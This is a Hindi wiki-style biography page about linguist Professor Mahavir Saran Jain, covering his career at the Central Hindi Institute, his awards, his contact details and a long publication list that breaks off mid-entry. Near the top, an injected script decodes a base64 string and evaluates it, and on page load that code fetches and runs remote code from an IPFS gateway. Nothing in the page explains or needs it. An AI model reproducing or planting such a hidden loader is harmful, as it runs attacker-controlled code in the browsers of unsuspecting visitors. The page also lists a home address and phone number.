महावीर सरन जैन

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
चित्र:महावीर सरन जैन
महावीर सरन जैन लिंक पर क्लिक करके चित्र अपलोड करें
Icon-edit.gif इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

आपको नया पन्ना बनाने के लिए यह आधार दिया गया है

==शीर्षक उदाहरण 1==संदर्भ जीवन वृत्त

प्रोफेसर महावीर सरन जैन एम0ए0, डी0फिल0, डी0लिट्0 सेवा निवृत्त निदेशक, केन्द्रीय हिन्दी संस्थान, भारत सरकार, आगरा पूर्व प्रोफेसर एवं अध्यक्ष, स्नातकोत्तर हिन्दी एवं भाषाविज्ञान विभाग, विश्वविद्यालय, जबलपुर पूर्व अधिष्ठाता, कला संकाय, विश्वविद्यालय, जबलपुर पूर्व विजिटिंग प्रोफेसर (हिन्दी), बुकारेस्त विश्वविद्यालय, बुकारेस्त, (रोमानिया) सम्पर्कः प्रोफेसर महावीर सरन जैन (सेवा-निवृत्त निदेशक, केन्द्रीय हिन्दी संस्थान, भारत सरकार) 123, हरि एन्कलेव, चाँदपुर रोड बुलन्द शहर (भारत) 203 001 +919456440756 [email protected] [email protected]. Profile URL: Google+ URL google.com/+MahavirSaranJain

facebook.com+URL

https://www.facebook.com/mahavirsaran.jain/info

Linkd.in+URL • linkd.in (current) http://lnkd.in/n5Hvgg YouTube + URL • Mahavir Saran Jain Other profiles • Blogger (Blogspot) - drmahavirsaranjain • Picasa Web Albums - mahavirsaranjain • Blogger (Blogspot) - mahavirsaranjain • Mahavir Saran Jain • viadeo http://www.viadeo.com/profile/0021z1rp6t5t9zne • twitter https://twitter.com/prof_jain • xing https://www.xing.com/profile/MahavirSaran_Jain/web_profilesContributor to • hi.wikipedia (current) http://www.sahityakunj.net/LEKHAK/M/MahavirSaranJain/MahavirSaranJain_main.htm प्रोफेसर महावीर सरन जैन - Gadyakosh Wiki gadyakosh.wikia.com/wiki/प्रोफेसर_महावीर_सरन_जैन‎ प्रोफेसर महावीर सरन जैन : Pravakta | प्रवक्ताt.कॉम ... www.pravakta.com/author/prof-mahavir-saran-jain‎ Jain, Dr. Mahavir Saran - HereNow4U.net herenow4u.net/index.php?...‎ ===शीर्षक उदाहरण 2===परिचय नाम : प्रोफेसर महावीर सरन जैन जन्म तिथि : 17 जनवरी, 1941 जन्म स्थान : बुलन्दशहर, उत्तर प्रदेश, भारत भाषा-ज्ञान : हिन्दी, संस्कृत, पालि, अंग्रेजी, रोमानियन शैक्षिक योग्यता : एम0ए0 (हिन्दी) (1960)

                डी0फिल0 	(हिन्दी-भाषाविज्ञान (1962)

डी0लिट्0 (हिन्दी-भाषाविज्ञान) (1967) कार्य अनुभव : प्रोफेसर जैन ने भारत सरकार के केन्द्रीय हिन्दी संस्थान के निदेशक, रोमानिया के बुकारेस्त विश्वविद्यालय के हिन्दी के विजिटिंग प्रोफेसर तथा जबलपुर के विश्वविद्यालय के स्नातकोत्तर हिन्दी एवं भाषा विज्ञान विभाग के लैक्चरर, रीडर तथा प्रोफेसर एवं अध्यक्ष के रूप में सन् 1964 से 2001 तक हिन्दी के अध्ययन, अध्यापन एवं अनुसंधान तथा हिन्दी के प्रचार-प्रसार-विकास के क्षेत्रों में भारत एवं विश्व स्तर पर कार्य किया है। प्रोफेसर जैन ने भारत सरकार के योजना आयोग के शिक्षा प्रभाग के आदेश क्रमांक No. M- 12015/9/95-Edn., दिनांक फरवरी 5, 1996 के द्वारा नवीं पंच वर्षीय योजना (1997 – 2002) के लिए Working Group on Language Development and Book Promotion के सदस्य के रूप में कार्य किया। http://www.teindia.nic.in/mhrd/50yrsedu/15/8P/AN/8PAN0501.htm

प्रोफेसर जैन ने भारत सरकार के अनेक मंत्रालयों की राजभाषा सलाहकार समितियों के सदस्य के रूप में कार्य करते हुए मंत्रालयों में राजभाषा हिन्दी के व्यवहार के लिए अनेक सुझाव दिए तथा राजभाषा हिन्दी के कार्यान्वयन के लिए अपनी भूमिका का निर्वाह किया।प्रोफेसर जैन ने भारत के अनेक विश्वविद्यालयों की विद्वत-परिषद, कला संकाय तथा चयन समिति के सदस्य के रूप में भी कार्य किया। भारत के 25 से अधिक विश्वविद्यालयों के पी-एच. डी. एवं डी. लिट्. उपाधियों के लिए प्रस्तुत शताधिक शोध-प्रबंधों का परीक्षण-कार्य किया तथा अनेक संस्थाओं की विभिन्न समितियों में परामर्शदाता की भूमिका का निर्वाह किया। पुरस्कार एवं अलंकरणः 1.उत्तर प्रदेश सरकार का 'साहित्य भूषण पुरस्कार' 2. भारतीय शिक्षा परिषद्, उत्तर प्रदेश द्वारा परिषद् की सर्वोच्च मानद उपाधि (साहित्य वाचस्पति) से लखनऊ में अलंकृत 3.American Biographical Institute द्वारा 'International Cultural Diploma of Honor' से अलंकृत 4. डॉक्टर भीमराव अम्बेदकर विश्वविद्यालय, आगरा द्वारा भाषा एवं संस्कृति के क्षेत्र में योगदान के लिए आगरा में 'ब्रज विभूति सम्मान' से अलंकृत 5. भारतीय राजदूतावास, बुकारेस्त (रोमानिया) द्वारा बुकारेस्त

    विश्वविद्यालय में हिन्दी शिक्षण में योगदान के लिए 'स्वर्ण-पदक' से अलंकृत 

सम्मानः 1.आन्ध्र प्रदेश हिन्दी प्रचार सभा, हैदराबाद 2. भारतीय संस्कृति संस्थान, दिल्ली 3. असम राष्ट्रभाषा प्रचार समिति गोवाहाटी 4. केरल हिन्दी प्रचार सभा तिरुवनंतपुरम् 5. विशाखा हिन्दी परिषद् विशाखापत्तनम् 6. चैन्नई की हिन्दी की संस्थाओं द्वारा दक्षिण भारत हिन्दी प्रचार सभा, चैन्नई में सम्मानित 7.मणिपुर हिन्दी परिषद, इम्फाल 8. प्रमुख भाषाविद्, साहित्य मनीषी, भारतीय संस्कृति के पुरोधा, विद्वद्वरेण्य, सर्वधर्म समभाव के पक्षधर, पूर्वाग्रह-विग्रह-विरहित, माननीय प्रोफेसर (डॉ0) महावीर सरन जैन का आगरा में नागरिक सम्मान 9. विश्व हिन्दी न्यास (अमेरिका) द्वारा अमेरिका के कैलिफोर्निया राज्य के फ्रीमाण्ट में सम्मान । प्रोफेसर जैन ने सन् 1964 ई0 से निरन्तर राष्ट्रीय एवं अन्तर्राष्ट्रीय महत्व की संगोष्ठियों, सम्मेलनों तथा कार्यशालाओं में भाग लिया । प्रोफेसर जैन ने 18 देशों का भ्रमण कर वहाँ की संस्थाओं में हिन्दी एवं भारतीय संस्कृति सम्बन्धित विषयों में व्याख्यान दिए। प्रोफेसर जैन ने संगोष्ठियों एवं वार्षिक अधिवेशनों की अध्यक्षता की अथवा उनमें प्रमुख अतिथि के रूप में उद्घाटन भाषण/मुख्य व्याख्यान दिया। प्रोफेसर महावीर सरन जैन के निर्देशन में 4 शोधकर्ता डी0लिट् की तथा 11शोधकर्ता पी-एच0डी0 की उपाधि प्राप्त कर चुके हैं । अन्य साहित्यिक उपलब्धियाँ: राष्ट्रीय स्तर पर हिन्दी भाषा के अखिल भारतीय स्वरूप की पहचान स्थापित करने, अखिल भारतीय व्यवहार तथा भारत की सामासिक संस्कृति की संवाहिका के रूप में इसका प्रचार-प्रसार करने एवं हिन्दी भाषा के साहित्य के साथ अन्य भारतीय भाषाओं के साहित्यों का उच्चतर अध्ययन सम्पन्न करने तथा इन कार्यों के माध्यम से भारत की राष्ट्रीय एकता एवं एकीकरण में हिन्दी की भूमिका को सार्थक एवं सुदृढ़ रूप से विकसित करने हेतु प्रोफेसर जैन ने अनेक परियोजनाओं पर स्वयं कार्य किया है तथा अपने सहयोगियों एवं सम्बद्ध संस्थाओं को कार्य करने की प्रेरणा प्रदान की । अन्तर्राष्ट्रीय स्तर पर विदेशों में हिन्दी भाषा तथा उसके माध्यम से आधुनिक भारत की चेतना एवं उसके मूल्यों को प्रसारित करने की दिशा में प्रोफेसर जैन ने विभिन्न दिशाओं में कार्य सम्पन्न किए । विश्व की भाषाओं की रिपोर्ट तैयार करने के लिए यूनेस्को ने हिन्दी की सर्वेक्षण रिपोर्ट भेजने के लिए भारत सरकार से आग्रह किया (पत्र दिनांक 13.07.1998)। भारत सरकार ने इस दायित्व के निर्वाह का कार्यभार केन्द्रीय हिन्दी संस्थान के निदेशक प्रोफेसर महावीर सरन जैन को सौंपा। प्रोफेसर जैन ने जो रिपोर्ट भेजी उससे यह सिद्ध हुआ कि प्रयोक्ताओं की दृष्टि से विश्व में चीनी भाषा के बाद दूसरा स्थान हिन्दी भाषा का है।

[Words and Worlds: World Languages Review:
Felix Marti, Jan 1, 2005 - 328 pages

books.google.com/books?isbn. ====शीर्षक उदाहरण 3==== प्रकाशित साहित्य 1. प्रकाशित साहित्यः (क) ग्रन्थ एवं पुस्तक 045 (ख) शोध निबंध 238 (ग) चयनित लेख 177 (घ) समीक्षा/भूमिका/आमुख 56


प्रोफेसर महावीर सरन जैन का प्रकाशित साहित्यः (क)ग्रंथ एवं पुस्तकेः

(1) विचार,विचार, (1)विचार,(1)विचार दृष्टिकोण एवं संकेत (निबन्धों का संकलन): - विनोद पुस्तक मन्दिर, आगरा (1965) (2) अन्य भाषा शिक्षण (Second Language Teaching):

     - विनोद पुस्तक मन्दिर, आगरा (1966)

(3) बुलन्दशहर एवं खुर्जा तहसीलों की बोलियों का संकालिक अध्ययन (ब्रजभाषा एवं खड़ी बोली का संक्रान्ति क्षेत्र): (Synchronic Study of the dialects of Buland Shahr and Khurja Tehsils – a transitional area of Brij and Khari Boli of Hindi language)

     -  हिन्दी साहित्य सम्मेलन, इलाहाबाद (1967)

(4) परिनिष्ठित हिन्दी का ध्वनिग्रामिक अध्ययनः (Phonemic Study

      Of Standard Hindi)
            - लोक भारती, इलाहाबाद (1974)

(5) परिनिष्ठित हिन्दी का रूपग्रामिक अध्ययनः (Morphemic Study

         Of Standard Hindi)
           -लोक भारती, इलाहाबाद (1976)

(6) हिन्दी ब्रिज कोर्स-पूर्व परीक्षणः (Hindi Bridge Course-Pre Test) (1978) (7) हिन्दी ब्रिज कोर्स-पश्चात् परीक्षणः(Hindi Bridge Course-Post Test) (1978) (8) हिन्दी ब्रिज कोर्स-पूर्व एवं पश्चात् परीक्षण: (Hindi Bridge Course-Pre and Post Tests) (1978) (9) हिन्दी ब्रिज कोर्स-परीक्षण (अध्यापक पुस्तिका): (Hindi Bridge Course-Tests : Teacher's Primer) (1978) (10) हिन्दी ब्रिज कोर्स-श्रवणबोधनः (Hindi Bridge Course-Listening Comprehension) (1978) (11) हिन्दी ब्रिज कोर्स-श्रवण एवं टिप्पण निर्माण बोधन (क): (Hindi Bridge Course-Listening and Note taking Competence (A) (1978) (12) हिन्दी ब्रज कोर्स-श्रवण एवं टिप्पण निर्माण बोधन (ख): (Hindi Bridge Course-Listening and Note taking Competence (B) (1978) (13) हिन्दी ब्रज कोर्स-पठन बोधन: (Hindi Bridge Course-Reading Comprehension ) (1978) (14) हिन्दी ब्रिज कोर्स-निर्देशित निबंध-लेखन: (Hindi Bridge Course-Guided Composition) (1978) (15) हिन्दी ब्रिज कोर्स-सार लेखन (अंग्रेजी से हिन्दी):(Hindi Bridge Course – Epitimized Writing (from English to Hindi)(1978) (16) हिन्दी ब्रिज कोर्स-सार लेखन (हिन्दी से अंग्रेजी ): (Hindi Bridge Course – Epitimized Writing (from Hindi to English) ) (1978) (17) हिन्दी ब्रिज कोर्स-अध्यापक निर्देश पुस्तिकाः (Hindi Bridge Course – Teachers Guide Book) (1978) (18) आवरण के परे: 1.क्षमा 2. मार्दव 3.आर्जव 4. सत्य 5. शौच 6. संयम 7. तप 8. त्याग 9. आकिंचन्य 10. ब्रह्मचर्य

       - श्री दि0 जैन सभा, जबलपुर (1979)

(19) सूरदास एवं सूर सागर की भाव योजना:

        - मदनमहल ज0स्ट0, जबलपुर (1982)

(20) गद्य सुषमाः (सम्पादन)

  - मध्य प्रदेश हिन्दी ग्रन्थ अकादमी, भोपाल (1983)

(21) भाषा एवं भाषा विज्ञान: (Language & Linguistics)

         -लोक भारती, इलाहाबाद (1985)

(22) विश्व शान्ति एवं अहिंसा:

       - श्री अखिल भारतीय जैन विद्वत्परिषद् एवं सम्यग्ज्ञान प्रचारक मण्डल, जयपुर (ज्ञान-प्रसार पुस्तक माला क्रमांक-72 (अक्टूबर, 1990)

(23) हिन्दीः रचना और प्रयोग: (सम्पादन) मध्य प्रदेश उच्च शिक्षा अनुदान आयोग द्वारा प्रायोजित, मध्य प्रदेश हिन्दी ग्रन्थ अकादमी, भोपाल (1992) (24) विश्व चेतना तथा सर्वधर्म समभाव:

      - वाणी प्रकाशन, नई दिल्ली (1996)

(25) भगवान महावीर एवं जैन दर्शन:

      -लोक भारती, इलाहाबाद (2006)

Bhagwan Mahaveer Jeevan Aur Darshan books.google.com/books?isbn=8180310809 Mahaveer Saran Jain – 2006 (26)Antiquity of Jainism

Antiquity of Jainism(Link)Edit

http://www.scribd.com/doc/22566494/Antiquity-of-Jainism (27) The Essence of Dharma

The Essence of Dharma(Link)Edit

http://www.scribd.com/doc/22538183/The-Essence-of-Dharma (28) हिन्दी-उर्दू

Hindi-Urdu(Link)Edit 

http://www.scribd.com/doc/22142436/Hindi-Urdu (29) हिन्दी की अंतरराष्ट्रीय भूमिका Hindi as an International language(Link)Edit http://www.scribd.com/doc/22573933/Hindi-kee-antarraashtreeya-bhoomikaa (30) संयुक्त राष्ट्र संघ की आधिकारिक भाषाएँ एवं हिन्दी Hindi should be a UNO language(Link)Edit http://www.scribd.com/doc/22142721/Hindi-should-be-a-uno-language (31) भगवान श्री कृष्ण

Shree Krishna(Link)Edit

http://www.scribd.com/doc/105305790/Shree-Krishna (32) हिन्दी भाषा-क्षेत्र

Hindi Language Area(Link)Edit 

http://www.scribd.com/doc/105906549/Hindi-Divas-Ke-Avasa (33) गाँधी दर्शन की प्रासंगिकता

Relevanve of Gandhian Philosophy(Link)Edit 

http://www.hindi.mkgandhi.org/article/GandhiDarshanKeePraasangikataa.pdf http://www.scribd.com/doc/108950780/Gandhee-Darshan-Kee-Praasangikataa (34) भाखा बहता नीर Language Change with reference to Hindi language(Link)Edit http://www.scribd.com/doc/110501224/Bhakhaa-Bahataa-Neer (35) भाषा-परिवार एवं विश्व-भाषाएँ

Language-Families and Languages. (भाषा-परिवार एवं विश्व-भाषाएँ)(Link)Edit 

http://www.pravakta.com/language-family-and-world-languages (36) भारोपीय भाषा-परिवार The Indo-European Family of Languages(Link)Edit http://www.scribd.com/doc/120501020/The-Indo-European-Fa (37) भारत की भाषाएँ http://www.scribd.com/doc/111370112/Languages-of-India (38) भारत की बहुभाषिकता और भाषिक एकता http://rachanakar.blogspot.com/2009/09/blog-post_20.html http://www.scribd.com/doc/22141758/Hindi-bahubhaashikataa (39) भगवान शिव एवं शैव दर्शन Lord Shiva and Shaivism(Link)Edit http://www.scribd.com/doc/133662684/Lord-Shiva-and-Shai (40) स्वामी विवेकानन्द Swami Vevekananda(Link)Edit (स्वामी विवेकानन्द) http://www.scribd.com/doc/159750362/Swami-Vivekananda (41)दशलक्षण धर्म http://www.scribd.com/doc/170828415/Daslakshan-Dharma-or-ten-virtues-दश-लक्षण-धर्म (42) हिन्दी की अन्तर-क्षेत्रीय, सार्वदेशीय एवं अन्तरराष्ट्रीय भूमिका : http://www.rachanakar.org/2010/07/blog-post_8861.html (43) कर्म सिद्धांत का सामाजिक संदर्भः http://www.jainlibrary.org/elib_master/article/210000_article_hindi/Karm_aur_Samajik_Sandarbh_229891.pdf (44) The Doctrine of Karma in Jain Philosophy

     http://www.herenow4u.net/index.php?id=98353

(45) The Path to Attain Liberation in Jain Philosophy http://www.scribd.com/doc/219047226/The-Path-to-Attain-Liberation-in-Jain-Philosophy (46) Bhagwaan Mahaveer Evam Jain Darshan

Original Title:  भगवान महावीर एवं जैन दर्शन 

Bhagwaan Mahaveer Evam JainDarshan (English Translation: Dr. Pradyumna Shah Singh Punjabi University, Patiala,India) http://www.herenow4u.net/index.php?id=98353

[[(ख)	शोध निबन्ध:]]

1. बुलन्दशहर की बोलियों का ध्वनिग्रामिक अध्ययन: हिन्दुस्तानी, भाग 22, अंक 3-4, हिन्दुस्तानी एकेडेमी, इलाहाबाद पृ0 75-92 (1961) 2. हिन्दी संज्ञा: आकारान्त शब्द - पदग्रामिक विश्लेषण एवं वर्गबंधनः नागरी प्रचारिणी पत्रिका, मालवीय शती विशेषांक,वर्ष 66, अंक 2-3-4, नागरी प्रचारिणी सभा, वाराणसी पृ0 462-472 (1961) 3. ब्रज भाषा के सर्वनाम पदः मध्य भारती, बुलेटिन सं0-1, भाषा एवं शोध संस्थान, जबलपुर पृ0 107-114 (1962) 4. ध्वनिग्राम शास्त्र एवं पदग्राम शास्त्र: हिन्दुस्तानी, भाग 23, अंक 2, हिन्दुस्तानी एकेडेमी, इलाहाबाद पृ0 107-112 (1962) 5. खड़ी बोली एवं ब्रज भाषा के संक्रान्ति क्षेत्र की बोलियों का ध्वनिग्रामिक अध्ययन: (भाषा शास्त्र की रूपरेखा-डॉ0 उदयनारायण तिवारी), लीडर प्रेस, इलाहाबाद पृ0 231-245 (1963) 6. ब्रज भाषा एवं खड़ी बोली के संक्रान्ति क्षेत्र की बोलियों के विशेषणः मध्य भारती, बुलेटिन सं0 2, अंक 2, भाषा एवं शोध संस्थान, जबलपुर पृ0 182-197 (1963) 7. ब्रज भाषा एवं खड़ी बोली के संक्रान्ति क्षेत्र में उपलब्ध संध्यक्षरों का अध्ययनः भारतीय साहित्य, वर्ष 8, अंक 3, क0मु0 हिन्दी तथा भाषा विज्ञान विद्यापीठ, आगरा विश्वविद्यालय, आगरा पृ0 95-99 (1963) 8. ब्रज भाषा एवं खड़ी बोली के संक्रान्ति क्षेत्र की बोलियों का संज्ञा-विभक्तिमय अध्ययनः भाषा, वर्ष 3, अंक 2, केन्द्रीय हिन्दी निदेशालय, शिक्षा मन्त्रालय, भारत सरकार, नई दिल्ली पृ0 56-70 (1963) 9. काव्य भाषा का स्वरूप: कल्पना, नं0-145, सुलतान बाजार, हैदराबाद पृ0 56-70 (1963) 10. महादेव के काव्य की पीड़ा में निहित प्रेम तत्वः महादेवी अभिनन्दन ग्रन्थ, भारती परिषद्, प्रयाग पृ0 159-163 (1964) 11. प्रत्ययः अधुनातम भाषाशास्त्र के संदर्भ में: हिन्दुस्तानी, भाग 25, अंक 1-4, हिन्दुस्तानी एकेडेमी, इलाहाबाद पृ0 363-364 (जनवरी-दिसम्बर, 1964) 12. हिन्दी सीखने में तमिल भाषियों की कठिनाइयाँ: गवेषणा, वर्ष 2, अंक 3, केन्द्रीय हिन्दी संस्थान, आगरा पृ0 31-44 (मार्च, 1964) 13. कामायनी में भाव एवं रस योजना: विचार, दृष्टिकोण एवं संकेतः विनोद पुस्तक मंदिर, आगरा पृ0 232-240 (1965) 14. नाट्य परम्पराएँ एवं प्रसाद के नाटकों का वस्तु एवं शिल्प स्तर: विचार, दृष्टिकोण एवं संकेतः विनोद पुस्तक मंदिर,आगरा पृ0 301-311 (1965) 15. भाषिक भूगोल एवं बोली विज्ञान: विचार, दृष्टिकोण एवं संकेत: विनोद पुस्तक मंदिर, आगरा पृ0 510-518 (1965) 16. हिन्दी अक्षरः मध्य भारती, बुलेटिन सं0 3, नं0 3, भाषा एवं शोध संस्थान, जबलपुर पृ0 175-192 (1965) 17. भारतवर्ष में अन्य भाषा शिक्षण का महत्व: भारतीय शिक्षा, अष्टम अंक, प्रथम वर्ष, भारतीय शिक्षक संघ, कानपुर पृ0 48-51 (अक्टूबर,1965) 18. भारतवर्ष में अन्य भाषा शिक्षण की समस्याएँ: जन शिक्षण, वर्ष 30, अंक 10-11, विद्या भवन सोसाइटी, उदयपुर पृ0 8-27 (अक्टूबर-नवम्बर, 1965) 19. भाषा का प्रश्न और भारत की एकताः कुछ प्रश्न एवं दिशा बोध: आलोचना, पूर्णांक 35, नवांक 9, राजकमल प्रकाशन, दिल्ली पृ0 137-142 (जनवरी, 1966) 20. ध्वनि विज्ञान एवं हिन्दी ध्वनियों का अध्ययन: क्षेत्रीय शिक्षा महाविद्यालय, भोपाल द्वारा प्रकाशित (1966) 21. अन्य भाषा शिक्षण में व्याकरण एवं अनुवाद पद्धति का उपयोग: नया शिक्षक, भाषा शिक्षण विशेषांक, वर्ष 9, अंक 2-3, शिक्षा विभाग, राजस्थान, बीकानेर पृ0 170-175 (अक्टूबर, 1966-जनवरी,67) 22. नव्यतर आर्य भाषाओं एवं द्रविड़ भाषाओं के मध्य भाषात्मक समानताएँ: माध्यम, वर्ष 3, अंक 10, हिन्दी साहित्य सम्मेलन, इलाहाबाद पृ0-56-58 (फरवरी,1967) 23. अन्य भाषा शिक्षण तथा ध्वनि विज्ञान: भाषा शिक्षण तथा भाषा विज्ञान, केन्द्रीय हिन्दी संस्थान, आगरा पृ0 43-47 (1969) 24. Gender in Hindi Language: Bulletin of Centre for Advanced Study in Education, University of Baroda (Restricted Publication) (1970) 25. हिन्दी संज्ञा वाक्यांशः केन्द्रीय हिन्दी संस्थान, आगरा द्वारा साइक्लोस्टाइल्ड (1971) 26. हिन्दी के उपवाक्य % Report of Language Workshop, National Academy of Administration, Govt. of India, Mussoorie (Restricted publication) (1972) 27. हिन्दी संज्ञाः भाषा (हिन्दी भाषाविज्ञान विशेषांक), केन्द्रीय हिन्दी निदेशालय, भारत सरकार, नई दिल्ली पृष्ठ 142 – 152 (1973) 28. हिन्दी के स्वर ध्वनिग्राम % Jabalpur University Research Journal, VolI, No. I, pp. 13-28 (June, 1973) 29. हिन्दी की उपवाक्य संरचना % Journal of LBS National Academy of Administration, Vol. XIX, pp. 87 - 92 (1974) 30. तुलसीदास और रामचरितमानसः माय मराठी, मानस चतुः शताब्दी विशेषांक, वर्ष 40, अंक 8, वृहत् महाराष्ट्र मण्डल, नई दिल्ली, पृष्ठ 43 - 47 (अगस्त, 1974) 31. जैन दर्शन की आधारभित्ति-अनेकांतावाद एवं स्याद्वादः The Vikram : Journal of Vikram University, Ujjain, महावीर विशेषांक, Vol. XVIII, No. 2 & 4, पृष्ठ 53 – 61 (May & Nov., 1974) 32. भगवान महावीर का संदेश एवं आधुनिक जीवन संदर्भ: महाराष्ट्र मानस, भगवान महावीर विशेषांक, महाराष्ट्र सरकार, बम्बई, पृ0 55-71 (1975) 33. अन्य भाषा के रूप में हिन्दी का शिक्षण: भाषा, वर्ष 14, अंक 3-4, केन्द्रीय हिन्दी निदेशालय, भारत सरकार, नई दिल्ली, पृ0 162-172 (1975) 34. हिन्दीः स्वरूप एवं वर्तनी: प्रकाशित मन, वर्ष 2, अंक 2, दिल्ली पृ0 11-14 (जुलाई, 1975), 35. भाषा और साहित्य: वीणा, वर्ष 49, अंक 4, इन्दौर, पृ0 17-24 (अप्रेल, 1976) 36. हिन्दी भाषा के रूप: दिनमान, टाइम्स ऑफ इण्डिया प्रकाशन, दिल्ली, पृ0 11-13 (अगस्त, 1976) 37. हिन्दी ब्रिज कोर्स परियोजना: जबलपुर विश्वविद्यालय, जबलपुर (11 सितम्बर, 1976) 38. प्राकृत एवं अपभ्रन्शः संस्कृत-प्राकृत जैन व्याकरण और कोश की परम्परा-आचार्य श्री कालूगणी स्मृति ग्रन्थ, छापर (राजस्थान), पृ0 287-302 (फरवरी, 1977) 39. प्राकृत एवं अपभ्रन्श का आधुनिक भारतीय आर्य भाषाओं पर प्रभाव: The Vikram : Journal of Vikram University, Ujjain, Vol. XXI, No. 2 & 4, pp. 73-88 (May & Nov., 1977) 40. अनुसंधान की अनेकांतवादी दृष्टिः संभावना, हिन्दी शोध और समीक्षा की अन्तर्राष्ट्रीय दृष्टियुक्त अर्द्ध वार्षिकी, शोध-तन्त्र विशेषांक, वर्ष 3, अंक 5-6, हिन्दी विभाग, कुरुक्षेत्र विश्वविद्यालय, कुरुक्षेत्र, पृ0 34-36 (1977) 41. महावीर पूर्व जैन धर्म की परम्पराः श्री राजेन्द्र ज्योति, राजेन्द्र सूरीश्वर जन्म सार्ध शताब्दी समिति, मध्यप्रदेश, चतुर्थ खण्ड पृ0 114-117 (1977) 42. देवनागरी लिपि एवं हिन्दी की वर्तनी: नागरी लिपि सम्मेलन स्मारिका, नागरी लिपि परिषद्, राजघाट, नई दिल्ली, पृ0 41-46 (अप्रेल, 1977) 43. आत्मा का परब्रह्मत्व स्वरूप: महावीर जयन्ती स्मारिका, राजस्थान जैन सभा, जयपुर, पृ0 15-23 (1978) 44. हिन्दी शब्दानुशासन का संदर्भ तथा अपनी बात: आचार्य किशोरीदास वाजपेयी अभिनन्दन ग्रन्थ, कनखल, हरिद्वार, पृ0 189-198 (1978) 45. सूरसागर की भावयोजना का आध्यात्मिक आधार: ‘‘सूरदास’’ - मध्यप्रदेश साहित्य परिषद, भोपाल, पृ0 71-87 (1978) 46. समता समाज: श्रमणोपासक, समता विशेषांक, श्री अ0भा0सा0जै0संघ, बीकानेर, पृ0 199-206 (1978) 47. भाषा-परिवर्तन: पत्राचार अध्ययन एवं अनवरत शिक्षा संस्थान, जयपुर विश्वविद्यालय, जयपुर (1978) 48. हिन्दी व्याकरण: पत्राचार पाठ्यक्रम एवं अनुवर्ती शिक्षा विद्यालय दिल्ली विश्वविद्यालय (1978) 49. महावीर की वाणी का मंगलमय क्रान्तिकारी स्वरूप: तीर्थंकर महावीर स्मृति ग्रन्थ, जीवाजी विश्वविद्यालय, ग्वालियर, पृ0 43-50 (1978) 50. हिन्दी में रूपग्रामिक विश्लेषण की कुछ समस्याएँ: गवेषणा, वर्ष 16, अंक 31, केन्द्रीय हिन्दी संस्थान, आगरा, पृष्ठ 63-70 (1978) 51. भगवान महावीर: जीवन दर्शन और सिद्धान्त: (भगवान महावीर के 2500 वें निर्वाण दिवस पर आयोजित भाषण माला के अंश), अवधेश प्रताप सिंह विश्वविद्यालय, रीवा (म0प्र0), पृ0 8-33 (1978) 52. तद दो प्रवाह एकः मुनि नथमल जी की रचना दृष्टि: महाप्रज्ञ-व्यक्तित्व एवं कृतित्व, मित्र परिषद्, कलकत्ता-700 073, पृ0 140-142 (जनवरी, 1980) 53. भाषा-सांस्कृतिक चिह्नक: परिषद्-पत्रिका, शोध त्रैमासिक, वर्ष 19, अंक 4, बिहार राष्ट्रभाषा परिषद्, पटना, पृ0 159-160 (जनवरी, 1980) 54. प्रेमचन्द के उपन्यासों की भाषा: शताब्दी चर्चा, प्रेमचन्द जन्मशती विशेषांक, जबलपुर (जुलाई, 1980) 55. हिन्दी पद रचना: भारतीय साहित्य (डॉ0 विश्वनाथ प्रसाद स्मृति विशेषांक), वर्ष 21, अंक 1-4, क0मु0 हिन्दी तथा भाषा विज्ञान विद्यापीठ, आगरा विश्वविद्यालय, आगरा, पृ0 31-42 (फरवरी, 1981) 56. महावीर-वाणी का क्रान्तिकारी स्वरूप: जिनवाणी, वर्ष 38, अंक 4, सम्यज्ञान प्रचारक मण्डल, जयपुर, पृ0 13-19 (अप्रेल, 1981) 57. भाषावैज्ञानिक अनुसंधान-क्षेत्र एवं दिशाएँ: परिषद् पत्रिका, वर्ष 21, अंक 2, बिहार राष्ट्र भाषा परिषद्, पटना, पृ0 119-124 (जुलाई, 1981) 58. चरित्र निर्माण की आवश्यकता एवं बाल संस्कार: श्रमणोपासक

    (बाल संस्कार शिक्षा संगोष्ठी विशेषांक), वर्ष 19, अंक 6-7, 
    बीकानेर, पृ0 17-30  (अक्टूबर, 1981)

59. अहिंसा, अपरिग्रह एवं अनेकांतवाद: पार्श्वनाथ नवयुवक मण्डल स्मारिका, जयपुर, पृ0 1-21 (1981) 60. प्रेमचन्द के उपन्यासों की भाषा: The Vikram : Journal of Vikram University, Ujjain, Vol. XXV No. 2 & 4), pp. 85-92 (May & November, 1981) 61. प्रेमचन्द के उपन्यासों में भाषिक प्रयोग: शोध (साहित्य-संस्कृति-गवेषणा-प्रधान पत्रिका), प्रेमचन्द अंक, नागरी प्रचारिणी सभा, आरा (भोजपुर: बिहार), पृष्ठ 54-60 (1981-82) 62. कृष्ण काव्य परम्परा में भक्ति, प्रेम एवं संगीत: संकीर्तनांक-पंचदश वार्षिक बसन्तोत्सव, वर्ष 15, अंक 9, प्रकाशकः श्री श्याम-सरोवर, कलकत्ता (1982) 63. जैन धर्म और दर्शन की प्रासंगिकता: महावीर जयन्ती स्मारिका, अंक 19, द्वितीय खण्ड, राजस्थान जैन सभा, जयपुर, पृष्ठ 21-29 (1982) 64. प्रेमचन्द के उपन्यास: भाषा वैज्ञानिक अध्ययन: प्रज्ञा: प्रेमचन्द स्मृति अंक, अंक 27 (भाग 2) एवं अंक 28 (भाग 1), काशी हिन्दू विश्वविद्यालय, वाराणसी, पृष्ठ 143-150 (1982) 65. भाषा के विविध रूप एवं प्रकार: The Vikram : Journal of Vikram University, Ujjain, Vol. XXVII No. 2, pp. 1-16 (May, 1983) 66. भाषा और विचार: The Vikram : Journal of Vikram University, Ujjain, Vol. XXVII No.4, pp. 17-22 (November, 1983) 67. भाषा के विविध रूप एवं प्रकार: भाषा, विश्व हिन्दी सम्मेलन विशेषांक, तृतीय विश्व हिन्दी सम्मेलन, वर्ष 22, अंक 3-4, केन्द्रीय हिन्दी निदेशालय, भारत सरकार, नई दिल्ली, पृष्ठ 221-230 (1983) 68. साठोत्तरी हिन्दी कहानी: पूर्णा, साठोत्तरी हिन्दी कहानी समीक्षा विशेषांक, 